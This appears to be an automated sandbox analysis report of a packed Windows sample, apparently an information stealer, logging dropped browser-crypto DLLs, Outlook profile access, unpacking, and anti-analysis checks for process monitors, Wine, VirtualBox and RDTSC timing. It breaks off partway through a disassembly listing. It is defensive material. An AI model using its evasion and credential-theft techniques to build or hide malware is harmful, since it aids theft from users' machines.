Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2412,i,13784969415282390054,5886882704676718212,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2480 --field-trial-handle=2340,i,2700430102709419326,11694449146032841153,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6564 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6832 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6832 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2159616 > 1048576

Source: file.exe

Static PE information: Raw size of chpvhele is bigger than: 0x100000 < 0x1a4200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2546731433.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061910174.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2546731433.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061910174.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2546541857.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;chpvhele:EW;mtwvpxbm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;chpvhele:EW;mtwvpxbm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x215ebb should be: 0x21f2be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: chpvhele
Source: file.exe	Static PE information: section name: mtwvpxbm
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4126D push edi; ret	0_3_00E4182A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E41228 push edi; ret	0_3_00E4182A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E42F8D pushad ; iretd	0_3_00E42F8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E438D0 push ebx; retf 004Ch	0_3_00E4397A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB536 push ecx; ret	0_2_6C5DB549

Source: file.exe

Static PE information: section name: chpvhele entropy: 7.954626261330787

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6055F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6055F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEF92 second address: 8FEF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEF98 second address: 8FEF9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEF9C second address: 8FEFAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F01F0E69E2Ah 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEFAC second address: 8FEFB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F01F07425C6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEFB9 second address: 8FEFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEFBF second address: 8FEFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F01F07425C6h 0x00000011 js 00007F01F07425C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEFD6 second address: 8FEFE8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEFE8 second address: 8FEFED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEFED second address: 8FF000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F0E69E2Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF000 second address: 8FF006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF006 second address: 8FF00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF00E second address: 8FF014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915FDB second address: 915FFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E35h 0x00000007 jno 00007F01F0E69E2Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916141 second address: 916147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916555 second address: 91655B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91655B second address: 916579 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jp 00007F01F07425C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F01F07425CCh 0x00000012 jnc 00007F01F07425C6h 0x00000018 pop edi 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916579 second address: 91657F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9167F6 second address: 9167FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9167FC second address: 916812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007F01F0E69E30h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916812 second address: 91681B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A343 second address: 91A348 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A348 second address: 91A357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A357 second address: 91A35C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A35C second address: 91A408 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edx, dword ptr [ebp+122D3AD7h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F01F07425C8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov dx, 4934h 0x00000030 pushad 0x00000031 or dword ptr [ebp+122D208Ch], ecx 0x00000037 jmp 00007F01F07425D3h 0x0000003c popad 0x0000003d push 5FE89C2Eh 0x00000042 jmp 00007F01F07425D0h 0x00000047 xor dword ptr [esp], 5FE89CAEh 0x0000004e mov dword ptr [ebp+122D31B6h], ecx 0x00000054 push 00000003h 0x00000056 mov dword ptr [ebp+122D2EA6h], ebx 0x0000005c push 00000000h 0x0000005e push 00000003h 0x00000060 jmp 00007F01F07425D5h 0x00000065 push 7CE0A64Fh 0x0000006a push eax 0x0000006b push edx 0x0000006c je 00007F01F07425CCh 0x00000072 jne 00007F01F07425C6h 0x00000078 